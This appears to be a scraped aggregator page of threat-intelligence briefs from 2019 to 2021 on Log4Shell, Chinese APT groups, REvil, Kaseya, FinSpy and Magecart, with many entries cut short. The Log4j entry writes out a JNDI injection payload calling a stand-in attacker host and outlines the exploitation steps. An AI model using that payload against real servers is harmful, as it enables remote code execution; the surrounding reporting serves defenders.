A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 | |
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2021-12-07 15:08:56 | NICKEL - Targeting Organizations Across Europe, North America, and South America (lien direct) | FortiGuard Labs is aware of reports relating to NICKEL, a state sponsored group targeting varying interests in Europe, North and South America. NICKEL is a state sponsored group operating out of China and is targeting governmental organizations, diplomatic groups and non governmental organizations in 29 countries.NICKELs' modus operandi is the usage of exploits on unpached systems to compromise vulnerable systems and their unpatched services. Observed exploits used by NICKEL included the exploitation of services such as Microsoft Exchange, Microsoft SharePoint, and Pulse Secure VPN. Microsoft filed pleadings with the United States District Court of Eastern Virginia on December 2nd to seize control of servers used by NICKEL.What are the Technical Details?NICKEL malware variants use Internet Explorer COM interfaces to receive instructions from predefined command and control (C2) servers. The malware will then connect to the web-based C2 servers to check for a specific string located on these servers. Once confirmed, the malware will decode a Base64 encoded blob that will load shellcode for further exploitation.NICKEL malware is capable of capturing system information such as the IP address, OS version, system language, computer name and username of the current signed in user. It also contains backdoor functionality to execute commands and to upload and download files. NICKEL then uses the stolen and compromised credentials of the targeted victim to login to Microsoft 365 accounts via browser logins to exfiltrate victim emails for further damage.What Other Names is NICKEL Known As?According to Microsoft - NICKEL is also known as APT15, APT25, and Ke3Chang.Is this Limited to Targeted Attacks?Yes. Attacks are limited to varying targets in specific countries and verticals.What Countries were Targeted?They are:Argentina, Barbados, Bosnia and Herzegovina, Brazil, Bulgaria, Chile, Colombia, Croatia, Czech Republic, Dominican Republic, Ecuador, El Salvador, France, Guatemala, Honduras, Hungary, Italy, Jamaica, Mali, Mexico, Montenegro, Panama, Peru, Portugal, Switzerland, Trinidad and Tobago, United Kingdom, United States of America, and Venezuela.What is the Status of Protections?FortiGuard Labs provides the following AV coverage used in this campaign as:W32/Staser.COFE!trW32/Staser.CBQX!trW32/NetE.VH!trW32/BackDoor.U!trAll network IOC's are blocked by the FortiGuard WebFiltering client.Any Other Suggested Mitigation?Because it has been reported that NICKEL obtains access via unpatched and vulnerable systems, It is important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spear phishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing and spear phishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department. Simple user awareness training on how to spot emails with malicious attachments or links could also help prevent initial access into the network. | Malware Patching Guideline | APT 15 APT 25 | ★★★★ |
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2021-11-16 17:34:00 | Anomali Cyber Watch: REvil Affiliates Arrested, Electronics Retail Giant Hit By Ransomware, Robinhood Breach, Zero Day In Palo Alto Security Appliance and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Data breach, Data leak, Malspam, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer
(published: November 8, 2021)
US Cybersecurity and Infrastructure Security Agency (CISA) has released an alert about advanced persistent threat (APT) actors exploiting vulnerability in self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus. PaloAlto, Microsoft & Lumen Technologies did a joint effort to track, analyse and mitigate this threat. The attack deployed a webshell and created a registry key for persistence. The actor leveraged leased infrastructure in the US to scan hundreds of organizations and compromised at least nine global organizations across technology, defense, healthcare and education industries.
Analyst Comment: This actor has used some unique techniques in these attacks including: a blockchain based legitimate remote control application, and credential stealing tool which hooks specific functions from the LSASS process. It’s important to make sure your EDR solution is configured to and supports detecting such advanced techniques in order to detect such attacks.
MITRE ATT&CK: [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Ingress Tool Transfer - T1105 | [MITRE ATT&CK] Scripting - T1064 | [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Application Layer Protocol - T1071 | [MITRE ATT&CK] Credentials in Files - T1081 | [MITRE ATT&CK] Brute Force - T1110 | [MITRE ATT&CK] Data Staged - T1074 | [MITRE ATT&CK] External Remote Services - T1133 | [MITRE ATT&CK] Hooking - T1179 | [MITRE ATT&CK] Registry Run Keys / Startup Folder - T1060 | [MITRE ATT&CK] Pass the Hash - T1075
Tags: Threat Group 3390, APT27, TG-3390, Emissary Panda, WildFire, NGLite backdoor, Cobalt Strike, Godzilla, PwDump, beacon, ChinaChopper, CVE-2021-40539, Healthcare, Military, North America, China
REvil Affiliates Arrested; DOJ Seizes $6.1M in Ransom
(published: November 9, 2021)
A 22 year old Ukranian national named Yaroslav Vasinskyi, has been charged with conducting ransomware attacks by the U.S Department of Justice (DOJ). These attacks include t |
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2021-09-14 15:00:00 | Anomali Cyber Watch: Azurescape Cloud Threat, MSHTML 0-Day in The Wild, Confluence Cloud Hacked to Mine Monero, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Android, APT, Confluence, Cloud, MSHTML, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag.
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S.O.V.A. – A New Android Banking Trojan with Fowl Intentions
(published: September 10, 2021)
ThreatFabric researchers have discovered a new Android banking trojan called S.O.V.A. The malware is still in the development and testing phase and the threat actor is publicly-advertising S.O.V.A. for trial runs targeting banks to improve its functionality. The trojan’s primary objective is to steal personally identifiable information (PII). This is conducted through overlay attacks, keylogging, man-in-the-middle attacks, and session cookies theft, among others. The malware author is also working on other features such as distributed denial-of-service (DDoS) and ransomware on S.O.V.A.’s project roadmap.
Analyst Comment: Always keep your mobile phone fully patched with the latest security updates. Only use official locations such as the Google Play Store / Apple App Store to obtain your software, and avoid downloading applications, even if they appear legitimate, from third-party stores. Furthermore, always review the permissions an app will request upon installation.
MITRE ATT&CK: [MITRE ATT&CK] Input Capture - T1056 | [MITRE ATT&CK] Man-in-the-Middle - T1557 | [MITRE ATT&CK] Steal Web Session Cookie - T1539 | [MITRE ATT&CK] Network Denial of Service - T1498 | [MITRE ATT&CK] Data Encrypted for Impact - T1486
Tags: Android, Banking trojan, S.O.V.A., Overlay, Keylogging, Cookies, Man-in-the-Middle
Finding Azurescape – Cross-Account Container Takeover in Azure Container Instances
(published: September 9, 2021)
Unit 42 researchers identified and disclosed critical security issues in Microsoft’s Container-as-a-Service (CaaS) offering that is called Azure Container Instances (ACI). A malicious Azure user could have compromised the multitenant Kubernetes clusters hosting ACI, establishing full control over other users' containers. Researchers gave the vulnerability a specific name, Azurescape, highlighting its significance: it the first cross-account container takeover in the public cloud.
Analyst Comment: Azurescape vulnerabilities could have allowed an attacker to execute code on other users' containers, steal customer secrets and images deployed to the platform, and abuse ACI's infrastructure processing power. Microsoft patched ACI shortly after the discl |
Ransomware Spam Malware Tool Vulnerability Threat Guideline | Uber APT 41 APT 15 | |
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2021-07-06 15:05:00 | Anomali Cyber Watch: Thousands attacked as REvil ransomware hijacks Kaseya VSA, Leaked Babuk Locker Ransomware Builder Used In New Attacks and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Babuk, IndigoZebra, Ransomware, REvil, Skimmer, Zero-day and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Shutdown Kaseya VSA Servers Now Amidst Cascading REvil Attack Against MSPs, Clients
(published: July 4, 2021)
A severe ransomware attack reportedly took place against the popular remote monitoring and management (RMM) software tool Kaseya VSA. On July 2, 2021, Kaseya urged users to shut down their VSA servers to prevent them from being compromised. The company estimated that fewer than 40 of their customers worldwide were affected, but as some of them were managed service providers (MSPs), over 1,000 businesses were infected. The majority of known victims are in the US with some in Europe (Sweden) and New Zealand. The attackers exploited a zero-day vulnerability in Kaseya’s systems that the company was in the process of fixing. It was part of the administrative interface vulnerabilities in tools for system administration previously identified by Wietse Boonstra, a DIVD researcher. The REvil payload was delivered via Kaseya software using a custom dropper that dropped two files. A dropper opens an old but legitimate copy of Windows Defender (MsMpEng.exe) that then side loads and executes the custom malicious loader's export. The attack coincided with the start of the US Independence Day weekend, and has several politically-charged strings, such as “BlackLivesMatter” Windows registry key and “DTrump4ever” as a password.
Analyst Comment: Kaseya VSA clients should safely follow the company’s recommendations as it advised shutting Kaseya VSA servers down, and is making new security updates available. Every organization should have a ransomware disaster recovery plan even if it is serviced by a managed service provider (MSP).
MITRE ATT&CK: [MITRE ATT&CK] Data Encrypted for Impact - T1486 | [MITRE ATT&CK] Supply Chain Compromise - T1195 | [MITRE ATT&CK] DLL Side-Loading - T1073
Tags: REvil, Sodinokibi, Gandcrab, Leafroller, Kaseya VSA, ransomware, Ransomware-as-a- Service, zero-day, CVE-2021-30116, supply-chain, North America, USA, Sweden, New Zealand, MSP, RMM, schools
IndigoZebra APT Continues To Attack Central Asia With Evolving Tools
(published: July 1, 2021)
Researchers from Check Point have identified the Afghan Government as the latest victim in a cyber espionage campaign by the suspected Chinese group ‘IndigoZebra’. This attack began in April when Afghan National Security Council (NSC) officials began to receive lure emails claiming to be from the President’s secretariat. These emails included a decoy file that would install the backdoor ‘BoxCaon’ on the system before reaching out to the Dropbox API to act as a C&C server. The attacker would then be able to fingerprint the machine and begin accessing files. I |
Ransomware Spam Malware Tool Vulnerability Threat Guideline | APT 19 APT 10 | |
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2021-04-06 16:57:00 | Anomali Cyber Watch: APT Groups, Data Breach, Malspam, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT10, Charming Kitten, China, Cycldek, Hancitor, Malspam, North Korea, Phishing, TA453, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
The Leap of a Cycldek-Related Threat Actor
(published: April 5, 2021)
A new sophisticated Chinese campaign was observed between June 2020 and January 2021, targeting government, military and other critical industries in Vietnam, and, to lesser extent, in Central Asia and Thailand. This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.
Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).
MITRE ATT&CK: [MITRE ATT&CK] DLL Side-Loading - T1073 | [MITRE ATT&CK] File Deletion - T1107
Tags: Chinese-speaking, Cycldek-related
Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool
(published: April 1, 2021)
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe or TA511. Initial infection includes target clicking malspam, then clicking on a link in an opened Google Docs page, and finally clicking to enable macros in the downloaded Word document. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic.
Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.
MITRE ATT&CK: [MITRE ATT&CK] Remote System Discovery - T1018 | [MITRE ATT&CK] Remote Access Tools - T1219 | [MITRE ATT&CK] Rundll32 - T1085 | [MITRE ATT&CK] Standard Application Layer Protocol - T1071 | [MITRE ATT&CK] System Information Discovery - T1082
Tags: Hancitor, Malspam, Cobalt Strike
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Malware Tool Vulnerability Threat Conference | APT 35 APT 10 | |
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2021-03-31 01:42:43 | Hackers are implanting multiple backdoors at industrial targets in Japan (lien direct) | Cybersecurity researchers on Tuesday disclosed details of a sophisticated campaign that deploys malicious backdoors for the purpose of exfiltrating information from a number of industry sectors located in Japan.
Dubbed "A41APT" by Kaspersky researchers, the findings delve into a new slew of attacks undertaken by APT10 (aka Stone Panda or Cicada) using previously undocumented malware to deliver |
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2021-03-30 10:00:07 | APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign (lien direct) | A41APT is a long-running campaign with activities detected from March 2019 to the end of December 2020. Most of the discovered malware families are fileless malware and they have not been seen before. | Malware | APT 10 | ★★★★★ |
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2021-03-10 08:31:56 | Researchers Unveil New Linux Malware Linked to Chinese Hackers (lien direct) | Cybersecurity researchers on Wednesday shed light on a new sophisticated backdoor targeting Linux endpoints and servers that's believed to be the work of Chinese nation-state actors.
Dubbed "RedXOR" by Intezer, the backdoor masquerades as a polkit daemon, with similarities found between the malware and those previously associated with the Winnti Umbrella (or Axiom) threat group such as PWNLNX, |
Malware Threat | APT 17 | |
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2020-09-29 14:00:00 | Weekly Threat Briefing: Federal Agency Breach, Exploits, Malware, and Spyware (lien direct) |
The various threat intelligence stories in this iteration of the Weekly Threat Briefing discuss the following topics: APT, Cyber Espionage, FinSpy, Magento, Taurus Project and Vulnerabilities. The IOCs related to these stories are attached to the Weekly Threat Briefing and can be used to check your logs for potential malicious activity. 
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
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German-made FinSpy Spyware Found in Egypt, and Mac and Linux Versions Revealed
(published: September 25, 2020)
Security Researchers from Amnesty International have identified new variants of FinSpy, spyware that can access private data and record audio/video. While used as a law enforcement tool, authoritarian governments have been using FinSpy to spy on activists and dissidents. Spreading through fake Flash Player updates, the malware is installed as root with use of exploits, and persistence is gained by creating a logind.pslist file. Once a system is infected with the malware, it has the ability to run shell scripts, record audio, keylogging, view network information, and list files. Samples have been found of FinSpy for macOS, Windows, Android, and Linux.
Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from threat actors, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.
MITRE ATT&CK: [MITRE ATT&CK] Logon Scripts - T1037 | [MITRE ATT&CK] Standard Application Layer Protocol - T1071
Tags: Amnesty, Android, Backdoor, Linux, macOS, FinSpy, Spyware
Magento Credit Card Stealing Malware: gstaticapi
(published: September 25, 2020)
Security researchers, at Sucuri, have identified a malicious script, dubbed “gstaticapi,” that is designed to steal payment information from Magento-based websites. The script first attempts to find the “checkout” string in a web browser URL and, if found, will create an element to the web pages header. This allows the JavaScript to handle external code-loading capabilities that are used to process the theft of billing and payment card information.
Recommendation: Sometimes webmasters discover that one of their sites has been compromised months after the initial infection. Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. In addition to keeping server software up to date, it is critical that all external-facing assets are monitored and scanned for vulnerabilities. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs.
MITRE ATT&CK: [MITRE ATT&CK] Command-Line Interface - T1059 | [MITRE ATT&CK] Input Capture - T1056 | [MITRE ATT&CK] Data Encoding - T1132
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Data Breach Malware Vulnerability Threat | APT 19 | ★★★★★ |
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2020-07-02 01:25:33 | Connection discovered between Chinese hacker group APT15 and defense contractor (lien direct) | Lookout said it linked APT15 malware to Xi'an Tianhe Defense Technology, a Chinese defense contractor. | Malware | APT 15 | |
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2020-05-28 07:51:22 | Ke3chang hacking group adds new Ketrum malware to its arsenal (lien direct) | The Ke3chang hacking group added a new malware dubbed Ketrum to its arsenal, it borrows portions of code and features from older backdoors. The Ke3chang hacking group (aka APT15, Vixen Panda, Playful Dragon, and Royal APT) has developed new malware dubbed Ketrum by borrowing parts of the source code and features from their older Ketrican and […] | Malware | APT 15 APT 25 | |
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2020-05-26 11:22:03 | Hacking group builds new Ketrum malware from recycled backdoors (lien direct) | The Ke3chang hacking group historically believed to be operating out of China has developed new malware dubbed Ketrum by merging features and source code from their older Ketrican and Okrum backdoors. [...] | Malware | APT 15 APT 25 | |
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2020-03-19 11:35:31 | Experts Insight On NutriBullet.com Magecart Attack (lien direct) | Researchers have uncovered a Magecart Group 8 attack against blender vendor NutriBullet that installed credit card stealing malware on the company's website. Security experts provide insight into this attack. The ISBuzz Post: This Post Experts Insight On NutriBullet.com Magecart Attack | Malware | APT 17 | ★★★★ |
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2020-01-22 09:00:00 | NBlog Jan 22 - further lessons from Travelex (lien direct) |  At the bottom of a Travelex update on their incident, I spotted this yesterday:Customer PrecautionsBased on the public attention this incident has received, individuals may try to take advantage of it and attempt some common e-mail or telephone scams. Increased awareness and vigilance are key to detecting and preventing this type of activity. As a precaution, if you receive a call from someone claiming to be from Travelex that you are not expecting or you are unsure about the identity of a caller, you should end the call and call back on 0345 872 7627. If you have any questions or believe you have received a suspicious e-mail or telephone call, please do not hesitate to contact us. Although I am not personally aware of any such 'e-mail or telephone scams', Travelex would know better than me - and anyway even if there have been no scams as yet, the warning makes sense: there is indeed a known risk of scammers exploiting major, well-publicised incidents such as this. We've seen it before, such as fake charity scams taking advantage of the public reaction to natural disasters such as the New Orleans floods, and - who knows - maybe the Australian bushfires.At the same time, this infosec geek is idly wondering whether the Travelex warning message and web page are legitimate. It is conceivable that the cyber-criminals and hackers behind the ransomware incident may still have control of the Travelex domains, webservers and/or websites, perhaps all their corporate comms including the Travelex Twitter feeds and maybe even the switchboard behind that 0345 number. I'm waffling on about corporate identity theft, flowing on from the original incident.I appreciate the scenario I'm postulating seems unlikely but bear with me and my professional paranoia for a moment. Let's explore the hypot |
Ransomware Malware Patching Guideline | APT 15 | |
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2019-11-18 14:00:00 | How website security and SEO are intimately connected (lien direct) | Learning how to optimize your website can be a challenge. At one time, it was only about figuring out what Google wanted, which was largely keywords. Now, it’s much more complex. Google is focused on not only delivering high-quality, relevant search results, but also on protecting people from malware and unscrupulous websites. Not only that, a hack of your website by others can give Google false information that directly impacts your rankings. That’s why it’s vital for your website to have strong web security if you want to do well in SEO. How security can directly impact SEO Hacks, or attempts at hacks, can keep Google’s bots from accessing your site and assessing your content and keywords. Your server may report missing pages to Google because of a web scraper or hacker impacting your website. Why would someone hack your site? Usually it’s to do back-door SEO. For instance, a hacker wants to put a link on your site, or add a web page. Sometimes they even target your domain and redirect it to another site altogether. Sucuri has an excellent example of a common hack they see on WordPress sites. These hacks make your website look like an untrustworthy page, or may even draw penalties from Google that cause your site to be blacklisted. Sometimes, no matter how much effort you put into SEO, failures in cybersecurity can drastically impact how Google sees your site, therefore also impacting your place in the SERPs. The First Step in Security to Boost SEO One of the first things you need to do to protect your website and boost your Google ranking is to install HTTPS. Google named this security protocol a ranking signal several years ago, so it’s obvious that your SEO results will be tied to it. You’ll need to make sure you have a proper certificate and allow indexing so that Google can still read your website. However, this is only the beginning. An HTTPS setup does not secure a website, it only secures the connection and encrypts data that is sent. That means that communication between your server and the web browser a visitor is using is secure and data — like a credit card number used for purchase — cannot be stolen. Other Important Security Steps Information security, or keeping your stored data secure, is another important part of keeping your website secure and helping it rank well, and the good news is that this security requires the same vigilance that SEO does. As a result, you can monitor both simultaneously. Platform Security Be sure you’ve chosen a good web host that has strong security on their end. Use security software or plugins as appropriate. For smaller websites using WordPress, you can use Wordfence, iThemes Security, or Bulletproof Security, for example. Overall, you want plugins that address the known security issues in the platform you use. All websites can also benefit from using SiteLock, which not only closes security loopholes but also monitors your website daily for malware, viruses, and more. Secure Passwords Believe it or not, the | Malware Hack | APT 19 |
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